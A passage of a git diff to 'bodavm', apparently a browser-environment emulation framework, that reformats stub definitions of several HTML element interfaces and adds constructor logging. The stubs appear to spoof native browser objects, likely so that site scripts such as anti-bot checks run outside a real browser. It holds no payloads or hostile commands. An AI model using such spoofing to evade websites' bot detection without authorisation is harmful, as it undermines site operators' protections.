HTMLMenuElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMenuElement'], "HTMLMenuElement"); +bodavm.memory.globalobj['HTMLMenuElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMenuElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMenuElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMetaElement.js b/env_xbb_lastest_jsdom/env/HTMLMetaElement.js index a16d9782..7c77a624 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMetaElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMetaElement.js @@ -1,10 +1,69 @@ -// HTMLMetaElement对象 -bodavm.memory.globalobj['HTMLMetaElement'] = function HTMLMetaElement(){if (!(this instanceof HTMLMetaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMetaElement'], "HTMLMetaElement"); -bodavm.memory.globalobj['HTMLMetaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMetaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "httpEquiv", {configurable:true, enumerable:true, get:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_get", arguments)}, set:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "content", {configurable:true, enumerable:true, get:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_get", arguments)}, set:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "scheme", {configurable:true, enumerable:true, get:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_get", arguments)}, set:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_set", arguments)}},'prototype'); +// HTMLMetaElement对象 + +bodavm.memory.globalobj['HTMLMetaElement'] = function HTMLMetaElement() { + console.log_copy('HTMLMetaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMetaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMetaElement'], "HTMLMetaElement"); +bodavm.memory.globalobj['HTMLMetaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMetaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "httpEquiv", { + configurable: true, + enumerable: true, + get: function httpEquiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_get", arguments); + }, + set: function httpEquiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "content", { + configurable: true, + enumerable: true, + get: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_get", arguments); + }, + set: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "scheme", { + configurable: true, + enumerable: true, + get: function scheme() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_get", arguments); + }, + set: function scheme() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLMeterElement.js b/env_xbb_lastest_jsdom/env/HTMLMeterElement.js index 41718286..72ca2cb2 100644 --- a/env_xbb_lastest_jsdom/env/HTMLMeterElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLMeterElement.js @@ -1,12 +1,87 @@ -// HTMLMeterElement对象 -bodavm.memory.globalobj['HTMLMeterElement'] = function HTMLMeterElement(){if (!(this instanceof HTMLMeterElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMeterElement'], "HTMLMeterElement"); -bodavm.memory.globalobj['HTMLMeterElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMeterElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "min", {configurable:true, enumerable:true, get:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_get", arguments)}, set:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "low", {configurable:true, enumerable:true, get:function low (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_get", arguments)}, set:function low (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "high", {configurable:true, enumerable:true, get:function high (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_get", arguments)}, set:function high (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "optimum", {configurable:true, enumerable:true, get:function optimum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_get", arguments)}, set:function optimum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "labels_get", arguments)}, set:undefined},'prototype'); +// HTMLMeterElement对象 + +bodavm.memory.globalobj['HTMLMeterElement'] = function HTMLMeterElement() { + console.log_copy('HTMLMeterElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMeterElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMeterElement'], "HTMLMeterElement"); +bodavm.memory.globalobj['HTMLMeterElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMeterElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "min", { + configurable: true, + enumerable: true, + get: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_get", arguments); + }, + set: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "low", { + configurable: true, + enumerable: true, + get: function low() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_get", arguments); + }, + set: function low() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "high", { + configurable: true, + enumerable: true, + get: function high() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_get", arguments); + }, + set: function high() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "optimum", { + configurable: true, + enumerable: true, + get: function optimum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_get", arguments); + }, + set: function optimum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLModElement.js b/env_xbb_lastest_jsdom/env/HTMLModElement.js index 25a7ef39..f697d0c5 100644 --- a/env_xbb_lastest_jsdom/env/HTMLModElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLModElement.js @@ -1,7 +1,39 @@ -// HTMLModElement对象 -bodavm.memory.globalobj['HTMLModElement'] = function HTMLModElement(){if (!(this instanceof HTMLModElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLModElement'], "HTMLModElement"); -bodavm.memory.globalobj['HTMLModElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLModElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLModElement', "cite", {configurable:true, enumerable:true, get:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_get", arguments)}, set:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLModElement', "dateTime", {configurable:true, enumerable:true, get:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_get", arguments)}, set:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_set", arguments)}},'prototype'); +// HTMLModElement对象 + +bodavm.memory.globalobj['HTMLModElement'] = function HTMLModElement() { + console.log_copy('HTMLModElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLModElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLModElement'], "HTMLModElement"); +bodavm.memory.globalobj['HTMLModElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLModElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLModElement', "cite", { + configurable: true, + enumerable: true, + get: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_get", arguments); + }, + set: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLModElement', "dateTime", { + configurable: true, + enumerable: true, + get: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_get", arguments); + }, + set: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLOListElement.js b/env_xbb_lastest_jsdom/env/HTMLOListElement.js index 4dc3a42f..d1ec9faf 100644 --- a/env_xbb_lastest_jsdom/env/HTMLOListElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLOListElement.js @@ -1,9 +1,59 @@ -// HTMLOListElement对象 -bodavm.memory.globalobj['HTMLOListElement'] = function HTMLOListElement(){if (!(this instanceof HTMLOListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOListElement'], "HTMLOListElement"); -bodavm.memory.globalobj['HTMLOListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOListElement', "reversed", {configurable:true, enumerable:true, get:function reversed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_get", arguments)}, set:function reversed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "start", {configurable:true, enumerable:true, get:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_get", arguments)}, set:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_set", arguments)}},'prototype'); +// HTMLOListElement对象 + +bodavm.memory.globalobj['HTMLOListElement'] = function HTMLOListElement() { + console.log_copy('HTMLOListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOListElement'], "HTMLOListElement"); +bodavm.memory.globalobj['HTMLOListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOListElement', "reversed", { + configurable: true, + enumerable: true, + get: function reversed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_get", arguments); + }, + set: function reversed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "start", { + configurable: true, + enumerable: true, + get: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_get", arguments); + }, + set: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLObjectElement.js b/env_xbb_lastest_jsdom/env/HTMLObjectElement.js index 0ac7fdb4..6766514d 100644 --- a/env_xbb_lastest_jsdom/env/HTMLObjectElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLObjectElement.js @@ -1,31 +1,259 @@ -// HTMLObjectElement对象 -bodavm.memory.globalobj['HTMLObjectElement'] = function HTMLObjectElement(){if (!(this instanceof HTMLObjectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLObjectElement'], "HTMLObjectElement"); -bodavm.memory.globalobj['HTMLObjectElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLObjectElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "archive", {configurable:true, enumerable:true, get:function archive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_get", arguments)}, set:function archive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_get", arguments)}, set:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "declare", {configurable:true, enumerable:true, get:function declare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_get", arguments)}, set:function declare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "standby", {configurable:true, enumerable:true, get:function standby (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_get", arguments)}, set:function standby (){return bodavm.toolsFunc.dispatch(this, 